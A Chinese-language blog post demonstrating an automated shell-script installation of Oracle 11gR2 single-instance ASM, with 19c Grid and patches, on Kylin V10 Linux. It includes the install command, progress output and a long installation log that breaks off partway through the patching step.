麒麟 Kylin V10 一键安装 Oracle 11GR2 单机 ASM(231017)

news/2024/5/19 0:56:44

前言

Oracle 一键安装脚本,演示麒麟 Kylin V10 一键安装 Oracle 11GR2 单机 ASM(231017)过程(全程无需人工干预):(脚本包括 ORALCE PSU/OJVM 等补丁自动安装

⭐️ 脚本下载地址:Shell脚本安装Oracle数据库

脚本第三代支持 N 节点一键安装,不限制节点数!

安装准备

  • 1、安装好操作系统,建议安装图形化
  • 2、配置好网络
  • 3、挂载本地 ISO 镜像源
  • 4、上传软件安装包(安装基础包,补丁包:33991024,35574075,35685663,35940989、6880880)
  • 5、上传一键安装脚本:OracleShellInstall

参考:

  • Installing 11.2.0.4 Oracle RAC
  • Oracle Clusterware (CRS/GI) - ASM - Database Version Compatibility (Doc ID 337737.1)

在 Oracle Linux 8 (麒麟 Kylin V10)安装 11GR2 单机 ASM 数据库,需要安装 19.14 版本之后的 Grid 软件补丁,然后再安装 11GR2 数据:

✨ 偷懒可以直接下载本文安装包合集:麒麟 Kylin V10 一键安装 Oracle 11GR2 单机 ASM(231017)安装包合集(包含补丁!!!)

演示环境信息

++📢注意:Oracle 11GR2 单机 ASM 安装主机名不能有大写字符,否则安装失败!++

# 主机版本
[root@kylin soft]# cat /etc/os-release 
NAME="Kylin Linux Advanced Server"
VERSION="V10 (Lance)"
ID="kylin"
VERSION_ID="V10"
PRETTY_NAME="Kylin Linux Advanced Server V10 (Lance)"
ANSI_COLOR="0;31"# 网络信息
[root@kylin soft]# ip a
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000link/ether 00:0c:29:62:a0:e5 brd ff:ff:ff:ff:ff:ffinet 192.168.6.222/24 brd 192.168.6.255 scope global noprefixroute ens33valid_lft forever preferred_lft foreverinet6 fe80::735:5307:2e5e:803c/64 scope link noprefixroute valid_lft forever preferred_lft forever# 挂载本地 ISO 镜像
[root@kylin soft]# mount | grep iso9660 | grep -v "/run/media"
/dev/sr0 on /mnt type iso9660 (ro,relatime,nojoliet,check=s,map=n,blocksize=2048)
[root@kylin soft]# df -h|grep /mnt
/dev/sr0               4.3G  4.3G     0  100% /mnt# starwind 共享磁盘挂载(有存储就不需要使用 starwind,直接存储上划盘挂载就可)
yum install -y iscsi-initiator-utils*
systemctl start iscsid.service
systemctl enable iscsid.service
iscsiadm -m discovery -t st -p 192.168.6.188
## 挂载 ASM 磁盘
iscsiadm -m node -T iqn.2008-08.com.starwindsoftware:192.168.6.188-lucifer -p 192.168.6.188 -l
## 配置开机自动挂载
iscsiadm -m node -T iqn.2008-08.com.starwindsoftware:192.168.6.188-lucifer -p 192.168.6.188 --op update -n node.startup -v automatic[root@kylin soft]# lsblk 
NAME          MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
sda             8:0    0  100G  0 disk 
├─sda1          8:1    0    1G  0 part /boot
└─sda2          8:2    0   99G  0 part ├─klas-root 253:0    0   91G  0 lvm  /└─klas-swap 253:1    0    8G  0 lvm  [SWAP]
sdb             8:16   0   10G  0 disk 
sdc             8:32   0   50G  0 disk 
sr0            11:0    1  4.3G  0 rom  /mnt# 安装包存放在 /soft 目录下
[root@kylin soft]# ll
-rwx------ 1 root root 2889184573  226 13:37 LINUX.X64_193000_grid_home.zip
-rwxr-xr-x 1 root root     192199  226 13:35 OracleShellInstall
-rwx------ 1 root root 1395582860  226 13:36 p13390677_112040_Linux-x86-64_1of7.zip
-rwx------ 1 root root 1151304589  226 13:36 p13390677_112040_Linux-x86-64_2of7.zip
-rwx------ 1 root root       8684  226 13:36 p33991024_11204220118_Generic.zip
-rwx------ 1 root root  562188912  226 13:36 p35574075_112040_Linux-x86-64.zip
-rwx------ 1 root root   86183099  226 13:36 p35685663_112040_Linux-x86-64.zip
-rwx------ 1 root root 3153297056  226 13:37 p35940989_190000_Linux-x86-64.zip
-rwx------ 1 root root  128433424  226 13:36 p6880880_112000_Linux-x86-64.zip
-rwx------ 1 root root  127774864  226 13:36 p6880880_190000_Linux-x86-64.zip
-rwxr-xr-x 1 root root     321590  226 13:31 rlwrap-0.44.tar.gz

确保安装环境准备完成后,即可执行一键安装。

安装命令

使用标准生产环境安装参数(安装过程若失败,脚本支持重复执行安装):

# 根据脚本 README 或者 -h 命令提示,编辑好一键安装命令,进入 /soft 目录执行安装:
./OracleShellInstall -n kylin `# hostname prefix`\
-gp oracle `# grid password`\
-op oracle `# oracle password`\
-lf ens33 `# local ip ifname`\
-dd /dev/sdc `# rac data asm disk`\
-o lucifer `# dbname`\
-ds AL32UTF8 `# database character`\
-ns AL16UTF16 `# national character`\
-redo 100 `# redo size`\
-dp oracle `# sys/system password`\
-gpa 35940989 `# grid PSU/RU`\
-opa 35574075 `# db PSU/RU`\
-jpa 35685663 `# OJVM PSU/RU`\
-opd Y `# optimize db`\
-giv 19 `# grid version`

选择需要安装的模式以及版本,即可开始安装:

安装过程

   ███████                             ██          ████████ ██               ██  ██ ██                    ██              ██  ████░░░░░██                           ░██         ██░░░░░░ ░██              ░██ ░██░██                   ░██             ░██ ░████     ░░██ ██████  ██████    █████  ░██  █████ ░██       ░██       █████  ░██ ░██░██ ███████   ██████ ██████  ██████   ░██ ░██
░██      ░██░░██░░█ ░░░░░░██  ██░░░██ ░██ ██░░░██░█████████░██████  ██░░░██ ░██ ░██░██░░██░░░██ ██░░░░ ░░░██░  ░░░░░░██  ░██ ░██
░██      ░██ ░██ ░   ███████ ░██  ░░  ░██░███████░░░░░░░░██░██░░░██░███████ ░██ ░██░██ ░██  ░██░░█████   ░██    ███████  ░██ ░██
░░██     ██  ░██    ██░░░░██ ░██   ██ ░██░██░░░░        ░██░██  ░██░██░░░░  ░██ ░██░██ ░██  ░██ ░░░░░██  ░██   ██░░░░██  ░██ ░██░░███████  ░███   ░░████████░░█████  ███░░██████ ████████ ░██  ░██░░██████ ███ ███░██ ███  ░██ ██████   ░░██ ░░████████ ███ ███░░░░░░░   ░░░     ░░░░░░░░  ░░░░░  ░░░  ░░░░░░ ░░░░░░░░  ░░   ░░  ░░░░░░ ░░░ ░░░ ░░ ░░░   ░░ ░░░░░░     ░░   ░░░░░░░░ ░░░ ░░░ 请选择安装模式 [单机(si)/单机ASM(sa)/集群(rac)] : sa数据库安装模式: standalone                                                                       请选择数据库版本 [11/12/19/21] : 11数据库版本:     11                                                                               OracleShellInstall 开始安装(安装过程可查看日志:/soft/print_ora_install_20240408125046.log)                                                                                  
正在检查操作系统是否符合安装条件......已完成 (耗时: 0)
正在去除密码复杂度配置......已完成 (耗时: 0)
正在配置 YUM 源......已完成 (耗时: 1)
正在获取操作系统信息......已完成 (耗时: 1)
正在配置 Swap......已完成 (耗时: 0)
正在配置防火墙......已完成 (耗时: 2)
正在配置 selinux......已完成 (耗时: 1)
正在配置 nsyctl......已完成 (耗时: 1)
正在安装依赖包......已完成 (耗时: 25)
正在配置主机名和 /etc/hosts......已完成 (耗时: 0)
正在创建用户和组......已完成 (耗时: 6)
正在创建安装目录......已完成 (耗时: 1)
正在配置 Avahi-daemon 服务......已完成 (耗时: 3)
正在配置透明大页 && NUMA && 磁盘 IO 调度器......已完成 (耗时: 1)
正在配置操作系统参数 sysctl......已完成 (耗时: 1)
正在配置 RemoveIPC......已完成 (耗时: 1)
正在配置用户限制 limit......已完成 (耗时: 1)
正在配置 shm 目录......已完成 (耗时: 1)
正在安装 rlwrap 插件......已完成 (耗时: 12)
正在配置用户环境变量......已完成 (耗时: 1)
正在解压 Grid 安装包以及补丁......已完成 (耗时: 174)
正在解压 Oracle 安装包以及补丁......已完成 (耗时: 64)
正在安装 Grid 软件以及补丁......已完成 (耗时: 1345)
正在安装 Oracle 软件以及补丁......已完成 (耗时: 882)
正在创建数据库......已完成 (耗时: 764)
正在优化数据库......已完成 (耗时: 20)恭喜!Oracle 单机 ASM 安装成功 (耗时: 3315),现在是否重启主机:[Y/N] Y正在重启主机......   

安装日志

[root@kylin ~]# cat /soft/print_ora_install_20240408125046.log #==============================================================#                                                                                  
配置本地 YUM 源                                                                                  
#==============================================================#                                                                                  [server]
name=server
baseurl=file:///mnt
enabled=1
gpgcheck=0#==============================================================#                                                                                  
格式化 DATA 磁盘:/dev/sdc                                                                                  
获取 ASM 磁盘 UUID && 格式化磁盘头                                                                                  
#==============================================================#                                                                                  DATA磁盘组的磁盘UUID: 2f218dae15b551c5d                                                                #==============================================================#                                                                                  
打印系统信息                                                                                    
#==============================================================#                                                                                  服务器时间:                                                                                      2024年 04月 08日 星期一 12:50:51 CST操作系统版本:                                                                                   NAME="Kylin Linux Advanced Server"
VERSION="V10 (Lance)"
ID="kylin"
VERSION_ID="V10"
PRETTY_NAME="Kylin Linux Advanced Server V10 (Lance)"
ANSI_COLOR="0;31"内核信息:                                                                                         Linux version 4.19.90-52.15.v2207.ky10.x86_64 (KYLINSOFT@COMPILE.MACHINE) (gcc version 7.3.0 (GCC)) #1 SMP Thu Nov 24 21:50:03 CST 2022服务器属性:                                                                                      vmwarecpu信息:                                                                                            $2型号名称                 :Intel(R) Xeon(R) CPU E5-2630 v2 @ 2.60GHz                                                                                  
$2物理 CPU 个数            :8                                                                                  
$2每个物理 CPU 的逻辑核数  :1                                                                                  
$2系统的 CPU 线程数        :8                                                                                  内存信息:                                                                                         total        used        free      shared  buff/cache   available
Mem:           6685         335        5815          11         534        6076
Swap:          8187           0        8187total        used        free      shared  buff/cache   available
Mem:          6.5Gi       335Mi       5.7Gi        11Mi       534Mi       5.9Gi
Swap:         8.0Gi          0B       8.0Gi挂载信息:                                                                                         /dev/mapper/klas-root   /                       xfs     defaults        0 0
UUID=c8e47a65-11c4-4e4e-84ce-95f9f618be7e /boot                   xfs     defaults        0 0
/dev/mapper/klas-swap   none                    swap    defaults        0 0目录信息:                                                                                         文件系统               容量  已用  可用 已用% 挂载点
devtmpfs               3.3G     0  3.3G    0% /dev
tmpfs                  3.3G     0  3.3G    0% /dev/shm
tmpfs                  3.3G  9.2M  3.3G    1% /run
tmpfs                  3.3G     0  3.3G    0% /sys/fs/cgroup
/dev/mapper/klas-root   91G   17G   75G   19% /
tmpfs                  3.3G  4.0K  3.3G    1% /tmp
/dev/sda1             1014M  177M  838M   18% /boot
tmpfs                  669M     0  669M    0% /run/user/993
tmpfs                  669M     0  669M    0% /run/user/0
/dev/sr0               4.3G  4.3G     0  100% /mnt#==============================================================#                                                                                  
禁用防火墙                                                                                       
#==============================================================#                                                                                  ● firewalld.service - firewalld - dynamic firewall daemonLoaded: loaded (/usr/lib/systemd/system/firewalld.service; disabled; vendor preset: enabled)Active: inactive (dead)Docs: man:firewalld(1)4月 08 12:37:07 kylin systemd[1]: Starting firewalld - dynamic firewall daemon...
4月 08 12:37:10 kylin systemd[1]: Started firewalld - dynamic firewall daemon.
4月 08 12:50:52 kylin systemd[1]: Stopping firewalld - dynamic firewall daemon...
4月 08 12:50:53 kylin systemd[1]: firewalld.service: Succeeded.
4月 08 12:50:53 kylin systemd[1]: Stopped firewalld - dynamic firewall daemon.#==============================================================#                                                                                  
禁用 SELinux                                                                                        
#==============================================================#                                                                                  SELinux status:                 disabled#==============================================================#                                                                                  
配置 nsysctl.conf                                                                                   
#==============================================================#                                                                                  NOZEROCONF=yes#==============================================================#                                                                                  
YUM 静默安装依赖包                                                                                  
#==============================================================#                                                                                  bc-1.07.1-11.ky10.x86_64
binutils-2.34-19.p01.ky10.x86_64
未安装软件包 compat-libcap1 
gcc-7.3.0-20220207.45.ky10.x86_64
gcc-c++-7.3.0-20220207.45.ky10.x86_64
未安装软件包 elfutils-libelf 
未安装软件包 elfutils-libelf-devel 
glibc-2.28-88.p06.ky10.x86_64
glibc-devel-2.28-88.p06.ky10.x86_64
libaio-0.3.112-1.p01.ky10.x86_64
libaio-devel-0.3.112-1.p01.ky10.x86_64
libgcc-7.3.0-20220207.45.ky10.x86_64
libstdc++-7.3.0-20220207.45.ky10.x86_64
libstdc++-devel-7.3.0-20220207.45.ky10.x86_64
libxcb-1.14-1.ky10.x86_64
libX11-1.6.9-5.ky10.x86_64
libXau-1.0.9-2.ky10.x86_64
libXi-1.7.10-1.ky10.x86_64
libXrender-0.9.10-10.ky10.x86_64
make-4.3-1.ky10.x86_64
net-tools-2.0-0.54.ky10.x86_64
smartmontools-7.1-1.ky10.x86_64
sysstat-12.2.1-1.p00.ky10.x86_64
e2fsprogs-1.45.6-8.ky10.x86_64
未安装软件包 e2fsprogs-libs 
unzip-6.0-47.ky10.x86_64
openssh-clients-8.2p1-16.p04.ky10.x86_64
readline-8.0-3.ky10.x86_64
readline-devel-8.0-3.ky10.x86_64
psmisc-23.3-2.ky10.x86_64
ksh-2020.0.0-4.ky10.x86_64
nfs-utils-2.5.1-5.ky10.x86_64
tar-1.32-2.ky10.x86_64
未安装软件包 device-mapper-multipath 
avahi-0.8-8.ky10.x86_64
ntp-4.2.8p14-5.ky10.x86_64
chrony-3.5-3.p01.ky10.x86_64
libXtst-1.2.3-10.ky10.x86_64
libXrender-devel-0.9.10-10.ky10.x86_64
fontconfig-devel-2.13.92-1.ky10.x86_64
policycoreutils-3.1-7.p01.ky10.x86_64
未安装软件包 policycoreutils-python 
未安装软件包 librdmacm 
未安装软件包 libnsl 
未安装软件包 libibverbs 
未安装软件包 compat-openssl10 
policycoreutils-python-utils-3.1-7.p01.ky10.noarch#==============================================================#                                                                                  
配置主机名                                                                                       
#==============================================================#                                                                                  kylin#==============================================================#                                                                                  
配置 /etc/hosts 文件                                                                                  
#==============================================================#                                                                                  #==============================================================#                                                                                  
创建用户和组                                                                                    
#==============================================================#                                                                                  127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
192.168.6.222   kylin
oracle 用户:                                                                                      用户id=54321(oracle) 组id=54321(oinstall)=54321(oinstall),54322(dba),54323(oper),54324(backupdba),54325(dgdba),54326(kmdba),54330(racdba),54327(asmdba),54328(asmoper),54329(asmadmin)grid 用户:                                                                                        用户id=11012(grid) 组id=54321(oinstall)=54321(oinstall),54322(dba),54323(oper),54324(backupdba),54325(dgdba),54326(kmdba),54330(racdba),54327(asmdba),54328(asmoper),54329(asmadmin)#==============================================================#                                                                                  
配置 Avahi-daemon 服务                                                                                  
#==============================================================#                                                                                  ● avahi-daemon.service - Avahi mDNS/DNS-SD StackLoaded: loaded (/usr/lib/systemd/system/avahi-daemon.service; disabled; vendor preset: enabled)Active: inactive (dead)#==============================================================#                                                                                  
配置透明大页 && NUMA && 磁盘 IO 调度器                                                                                  
#==============================================================#                                                                                  args="ro resume=/dev/mapper/klas-swap rd.lvm.lv=klas/root rd.lvm.lv=klas/swap rhgb quiet crashkernel=1024M,high audit=0 numa=off transparent_hugepage=never elevator=deadline"
-resume=/dev/mapper/klas-swap
-args="ro
args="ro resume=/dev/mapper/klas-swap rd.lvm.lv=klas/root rd.lvm.lv=klas/swap rhgb quiet crashkernel=1024M,high audit=0 numa=off transparent_hugepage=never elevator=deadline"
-audit=0
-crashkernel=1024M,high#==============================================================#                                                                                  
配置 sysctl.conf                                                                                    
#==============================================================#                                                                                  kernel.sysrq = 0
net.ipv4.ip_forward = 0
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.default.send_redirects = 0
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.default.accept_source_route = 0
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.all.secure_redirects = 0
net.ipv4.conf.default.secure_redirects = 0
net.ipv4.icmp_echo_ignore_broadcasts = 1
net.ipv4.icmp_ignore_bogus_error_responses = 1
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1
net.ipv4.tcp_syncookies = 1
kernel.dmesg_restrict = 1
net.ipv6.conf.all.accept_redirects = 0
net.ipv6.conf.default.accept_redirects = 0
fs.aio-max-nr = 1048576
fs.file-max = 6815744
kernel.shmall = 2097152
kernel.shmmax = 7010422783
kernel.shmmni = 4096
kernel.sem = 250 32000 100 128
net.ipv4.ip_local_port_range = 9000 65500
net.core.rmem_default = 262144
net.core.rmem_max = 4194304
net.core.wmem_default = 262144
net.core.wmem_max = 1048576
vm.min_free_kbytes = 27384
net.ipv4.conf.ens33.rp_filter = 1
vm.swappiness = 10
kernel.panic_on_oops = 1
kernel.randomize_va_space = 2
kernel.numa_balancing = 0#==============================================================#                                                                                  
配置 RemoveIPC                                                                                      
#==============================================================#                                                                                  [Login]
RemoveIPC=no#==============================================================#                                                                                  
配置 /etc/security/limits.conf 和 /etc/pam.d/login                                                                                  
#==============================================================#                                                                                  查看 /etc/security/limits.conf:                                                                                  oracle soft nofile 1024
oracle hard nofile 65536
oracle soft stack 10240
oracle hard stack 32768
oracle soft nproc 2047
oracle hard nproc 16384
oracle hard memlock unlimited
oracle soft memlock unlimited
grid soft nofile 1024
grid hard nofile 65536
grid soft stack 10240
grid hard stack 32768
grid soft nproc 2047
grid hard nproc 16384查看 /etc/pam.d/login 文件:                                                                                  auth       substack     system-auth
auth       include      postlogin
account    required     pam_nologin.so
account    include      system-auth
password   include      system-auth
session    required     pam_selinux.so close
session    required     pam_loginuid.so
session    required     pam_selinux.so open
session    required     pam_namespace.so
session    optional     pam_keyinit.so force revoke
session    include      system-auth
session    include      postlogin
-session   optional     pam_ck_connector.so
session required pam_limits.so
session required /lib64/security/pam_limits.so#==============================================================#                                                                                  
配置 /dev/shm                                                                                       
#==============================================================#                                                                                  /dev/mapper/klas-root   /                       xfs     defaults        0 0
UUID=c8e47a65-11c4-4e4e-84ce-95f9f618be7e /boot                   xfs     defaults        0 0
/dev/mapper/klas-swap   none                    swap    defaults        0 0
tmpfs /dev/shm tmpfs size=6846116k 0 0#==============================================================#                                                                                  
安装 rlwrap 插件                                                                                  
#==============================================================#                                                                                  成功安装 rlwrap: rlwrap 0.44                                                                      #==============================================================#                                                                                  
Root 用户环境变量                                                                                  
#==============================================================#                                                                                  if [ -f ~/.bashrc ]; then. ~/.bashrc
fi
PATH=$PATH:$HOME/bin
export PATH
alias so='su - oracle'
export PS1="[`whoami`@`hostname`:"'$PWD]$ '
alias sg='su - grid'
alias crsctl='/u01/app/19.3.0/grid/bin/crsctl'
alias srvctl='/u01/app/19.3.0/grid/bin/srvctl'#==============================================================#                                                                                  
Oracle 用户环境变量,实例名:lucifer                                                                                  
#==============================================================#                                                                                  [ -f ~/.bashrc ] && . ~/.bashrc
umask 022
export TMP=/tmp
export TMPDIR=$TMP
export NLS_LANG=AMERICAN_AMERICA.AL32UTF8
export ORACLE_BASE=/u01/app/oracle
export ORACLE_HOME=/u01/app/oracle/product/11.2.0/db
export ORACLE_TERM=xterm
export TNS_ADMIN=$ORACLE_HOME/network/admin
export LD_LIBRARY_PATH=$ORACLE_HOME/lib:/lib:/usr/lib
export ORACLE_SID=lucifer
export PATH=/usr/sbin:$PATH
export PATH=$ORACLE_HOME/bin:$ORACLE_HOME/OPatch:$ORACLE_HOME/perl/bin:$PATH
export PERL5LIB=$ORACLE_HOME/perl/lib
alias sas='sqlplus / as sysdba'
alias awr='sqlplus / as sysdba @?/rdbms/admin/awrrpt'
alias ash='sqlplus / as sysdba @?/rdbms/admin/ashrpt'
alias alert='vi $ORACLE_BASE/diag/rdbms/*/$ORACLE_SID/trace/alert_$ORACLE_SID.log'
export PS1="[`whoami`@`hostname`:"'$PWD]$ '
export CV_ASSUME_DISTID=OL7
alias sqlplus='rlwrap sqlplus'
alias rman='rlwrap rman'
alias adrci='rlwrap adrci'#==============================================================#                                                                                  
Grid 用户环境变量                                                                                  
#==============================================================#                                                                                  [ -f ~/.bashrc ] && . ~/.bashrc
umask 022
export TMP=/tmp
export TMPDIR=$TMP
export NLS_LANG=AMERICAN_AMERICA.AL32UTF8
export ORACLE_BASE=/u01/app/grid
export ORACLE_HOME=/u01/app/19.3.0/grid
export ORACLE_TERM=xterm
export TNS_ADMIN=$ORACLE_HOME/network/admin
export LD_LIBRARY_PATH=$ORACLE_HOME/lib:/lib:/usr/lib
export ORACLE_SID=+ASM
export PATH=/usr/sbin:$PATH
export PATH=$ORACLE_HOME/bin:$ORACLE_HOME/OPatch:$PATH
alias sas='sqlplus / as sysasm'
export PS1="[`whoami`@`hostname`:"'$PWD]$ '
export CV_ASSUME_DISTID=OL7
alias sqlplus='rlwrap sqlplus'
alias asmcmd='rlwrap asmcmd'
alias adrci='rlwrap adrci'#==============================================================#                                                                                  
配置 multipath 多路径                                                                                  
#==============================================================#                                                                                  #==============================================================#                                                                                  
配置 UDEV 绑盘                                                                                    
#==============================================================#                                                                                  KERNEL=="dm-*",ENV{DM_UUID}=="mpath-2f218dae15b551c5d",SYMLINK+="asm_data_1",OWNER="grid",GROUP="asmadmin",MODE="0660"
mpatha (2e87e4f535c397171) dm-2 ROCKET,IMAGEFILE
size=10G features='2 queue_mode mq' hwhandler='0' wp=rw
`-+- policy='service-time 0' prio=1 status=active`- 3:0:0:0 sdb 8:16 active ready running
asm_data_1 (2f218dae15b551c5d) dm-3 ROCKET,IMAGEFILE
size=50G features='2 queue_mode mq' hwhandler='0' wp=rw
`-+- policy='service-time 0' prio=1 status=enabled`- 3:0:0:1 sdc 8:32 active ready running
UDEV 配置完成!                                                                                    
/dev/asm_data_1#==============================================================#                                                                                  
静默解压缩 Grid 软件包                                                                                  
#==============================================================#                                                                                  正在静默解压缩 Grid 软件包,请稍等:                                                                                  静默解压 Grid 软件安装包: /soft/LINUX.X64_193000_grid_home.zip                                                                                  静默解压 OPatch 软件补丁包: /soft/p6880880_190000_Linux-x86-64.zip                                                                                  静默解压 Grid 软件补丁包: /soft/p35940989_190000_Linux-x86-64.zip                                                                                  #==============================================================#                                                                                  
静默解压 Oracle 软件包                                                                                  
#==============================================================#                                                                                  正在静默解压缩 Oracle 软件包,请稍等:                                                                                  
静默解压 Oracle 软件安装包: /soft/p13390677_112040_Linux-x86-64_1of7.zip,/soft/p13390677_112040_Linux-x86-64_2of7.zip                                                                                  静默解压 Oracle 软件补丁包: /soft/p35574075_112040_Linux-x86-64.zip                                                                                  静默解压 Oracle 软件补丁包:/soft/p33991024_11204220118_Generic.zip                                                                                  静默解压 OJVM 软件补丁包: /soft/p35685663_112040_Linux-x86-64.zip                                                                                  #==============================================================#                                                                                  
Grid 安装静默文件                                                                                  
#==============================================================#                                                                                  INVENTORY_LOCATION=/u01/app/oraInventory
oracle.install.option=HA_CONFIG
ORACLE_BASE=/u01/app/grid
oracle.install.asm.OSDBA=asmdba
oracle.install.asm.OSOPER=asmoper
oracle.install.asm.OSASM=asmadmin
oracle.install.crs.config.gpnp.configureGNS=false
oracle.install.crs.config.useIPMI=false
oracle.install.asm.SYSASMPassword=oracle
oracle.install.asm.diskGroup.name=DATA
oracle.install.asm.diskGroup.redundancy=EXTERNAL
oracle.install.asm.diskGroup.disks=/dev/asm_data_1
oracle.install.asm.diskGroup.diskDiscoveryString=/dev/asm*
oracle.install.asm.monitorPassword=oracle
oracle.install.crs.config.ClusterConfiguration=STANDALONE
oracle.install.crs.config.configureAsExtendedCluster=false
oracle.install.crs.configureGIMR=false
oracle.install.asm.storageOption=ASM
oracle.install.asm.diskGroup.AUSize=4
oracle.install.asm.configureAFD=false
oracle.install.crs.config.ignoreDownNodes=false
oracle.install.config.managementOption=NONE
oracle.install.crs.rootconfig.executeRootScript=false
oracle.install.responseFileVersion=/oracle/install/rspfmt_crsinstall_response_schema_v19.0.0
oracle.install.crs.config.scanType=LOCAL_SCAN#==============================================================#                                                                                  
静默安装 Grid 软件                                                                                  
#==============================================================#                                                                                  Preparing the home to patch...
Applying the patch /soft/35940989...
Successfully applied the patch.
The log can be found at: /tmp/GridSetupActions2024-04-08_12-55-56PM/installerPatchActions_2024-04-08_12-55-56PM.log
Launching Oracle Grid Infrastructure Setup Wizard...[WARNING] [INS-30011] The SYS password entered does not conform to the Oracle recommended standards.CAUSE: Oracle recommends that the password entered should be at least 8 characters in length, contain at least 1 uppercase character, 1 lower case character and 1 digit [0-9].ACTION: Provide a password that conforms to the Oracle recommended standards.
[WARNING] [INS-30011] The ASMSNMP password entered does not conform to the Oracle recommended standards.CAUSE: Oracle recommends that the password entered should be at least 8 characters in length, contain at least 1 uppercase character, 1 lower case character and 1 digit [0-9].ACTION: Provide a password that conforms to the Oracle recommended standards.
The response file for this session can be found at:/u01/app/19.3.0/grid/install/response/grid_2024-04-08_12-55-56PM.rspYou can find the log of this install session at:/tmp/GridSetupActions2024-04-08_12-55-56PM/gridSetupActions2024-04-08_12-55-56PM.logAs a root user, execute the following script(s):1. /u01/app/oraInventory/orainstRoot.sh2. /u01/app/19.3.0/grid/root.shExecute /u01/app/19.3.0/grid/root.sh on the following nodes: 
[kylin]Successfully Setup Software.
As install user, execute the following command to complete the configuration./u01/app/19.3.0/grid/gridSetup.sh -executeConfigTools -responseFile /soft/grid.rsp [-silent]Moved the install session logs to:/u01/app/oraInventory/logs/GridSetupActions2024-04-08_12-55-56PM#==============================================================#                                                                                  
执行 root 脚本                                                                                    
#==============================================================#                                                                                  Changing permissions of /u01/app/oraInventory.
Adding read,write permissions for group.
Removing read,write,execute permissions for world.Changing groupname of /u01/app/oraInventory to oinstall.
The execution of the script is complete.
Check /u01/app/19.3.0/grid/install/root_kylin_2024-04-08_13-15-49-105330890.log for the output of root script#==============================================================#                                                                                  
Grid 软件版本                                                                                     
#==============================================================#                                                                                  SQL*Plus: Release 19.0.0.0.0 - Production
Version 19.22.0.0.0#==============================================================#                                                                                  
Grid 补丁信息                                                                                     
#==============================================================#                                                                                  36115038;TOMCAT RELEASE UPDATE 19.0.0.0.0 (36115038)
35967489;OCW RELEASE UPDATE 19.22.0.0.0 (35967489)
35956421;ACFS RELEASE UPDATE 19.22.0.0.0 (35956421)
35943157;Database Release Update : 19.22.0.0.240116 (35943157)
33575402;DBWLM RELEASE UPDATE 19.0.0.0.0 (33575402)OPatch succeeded.#==============================================================#                                                                                  
Grid 资源检查                                                                                     
#==============================================================#                                                                                  --------------------------------------------------------------------------------
Name           Target  State        Server                   State details       
--------------------------------------------------------------------------------
Local Resources
--------------------------------------------------------------------------------
ora.DATA.dgONLINE  ONLINE       kylin                    STABLE
ora.LISTENER.lsnrONLINE  ONLINE       kylin                    STABLE
ora.asmONLINE  ONLINE       kylin                    Started,STABLE
ora.onsOFFLINE OFFLINE      kylin                    STABLE
--------------------------------------------------------------------------------
Cluster Resources
--------------------------------------------------------------------------------
ora.cssd1        ONLINE  ONLINE       kylin                    STABLE
ora.diskmon1        OFFLINE OFFLINE                               STABLE
ora.evmd1        ONLINE  ONLINE       kylin                    STABLE
--------------------------------------------------------------------------------#==============================================================#                                                                                  
Oracle 安装静默文件                                                                                  
#==============================================================#                                                                                  oracle.install.option=INSTALL_DB_SWONLY
UNIX_GROUP_NAME=oinstall
INVENTORY_LOCATION=/u01/app/oraInventory
ORACLE_BASE=/u01/app/oracle
oracle.install.db.InstallEdition=EE
oracle.install.db.DBA_GROUP=dba
oracle.install.db.OPER_GROUP=oper
oracle.install.responseFileVersion=/oracle/install/rspfmt_dbinstall_response_schema_v11_2_0
SELECTED_LANGUAGES=en,zh_CN
ORACLE_HOME=/u01/app/oracle/product/11.2.0/db
DECLINE_SECURITY_UPDATES=true
oracle.installer.autoupdates.option=SKIP_UPDATES#==============================================================#                                                                                  
静默安装数据库软件                                                                                  
#==============================================================#                                                                                  Starting Oracle Universal Installer...Checking Temp space: must be greater than 120 MB.   Actual 3342 MB    Passed
Checking swap space: must be greater than 150 MB.   Actual 8180 MB    Passed
Preparing to launch Oracle Universal Installer from /tmp/OraInstall2024-04-08_01-18-25PM. Please wait ...You can find the log of this install session at:/u01/app/oraInventory/logs/installActions2024-04-08_01-18-25PM.logPrepare in progress.
..................................................   9% Done.Prepare successful.Copy files in progress.
..................................................   14% Done.
..................................................   20% Done.
..................................................   26% Done.
..................................................   31% Done.
..................................................   36% Done.
..................................................   41% Done.
..................................................   47% Done.
..................................................   52% Done.
..................................................   57% Done.
..................................................   63% Done.
..................................................   68% Done.
..................................................   73% Done.
..................................................   78% Done.
..................................................   83% Done.
..............................
Copy files successful.Link binaries in progress.
..........
Link binaries successful.Setup files in progress.
..................................................   88% Done.
..................................................   94% Done.Setup files successful.
The installation of Oracle Database 11g was successful.
Please check '/u01/app/oraInventory/logs/silentInstall2024-04-08_01-18-25PM.log' for more details.Execute Root Scripts in progress.As a root user, execute the following script(s):1. /u01/app/oracle/product/11.2.0/db/root.sh..................................................   100% Done.Execute Root Scripts successful.
Successfully Setup Software.#==============================================================#                                                                                  
执行 root 脚本                                                                                    
#==============================================================#                                                                                  Changing permissions of /u01/app/oraInventory.
Adding read,write permissions for group.
Removing read,write,execute permissions for world.Changing groupname of /u01/app/oraInventory to oinstall.
The execution of the script is complete.
Check /u01/app/oracle/product/11.2.0/db/install/root_kylin_2024-04-08_13-20-58.log for the output of root script#==============================================================#                                                                                  
Oracle 软件安装补丁                                                                                  
#==============================================================#                                                                                  Oracle Interim Patch Installer version 11.2.0.3.44
Copyright (c) 2024, Oracle Corporation.  All rights reserved.PREREQ sessionOracle Home       : /u01/app/oracle/product/11.2.0/db
Central Inventory : /u01/app/oraInventoryfrom           : /u01/app/oracle/product/11.2.0/db/oraInst.loc
OPatch version    : 11.2.0.3.44
OUI version       : 11.2.0.4.0
Log file location : /u01/app/oracle/product/11.2.0/db/cfgtoollogs/opatch/opatch2024-04-08_13-21-03PM_1.logInvoking prereq "checkconflictagainstohwithdetail"Prereq "checkConflictAgainstOHWithDetail" passed.OPatch succeeded.
Oracle Interim Patch Installer version 11.2.0.3.44
Copyright (c) 2024, Oracle Corporation.  All rights reserved.Oracle Home       : /u01/app/oracle/product/11.2.0/db
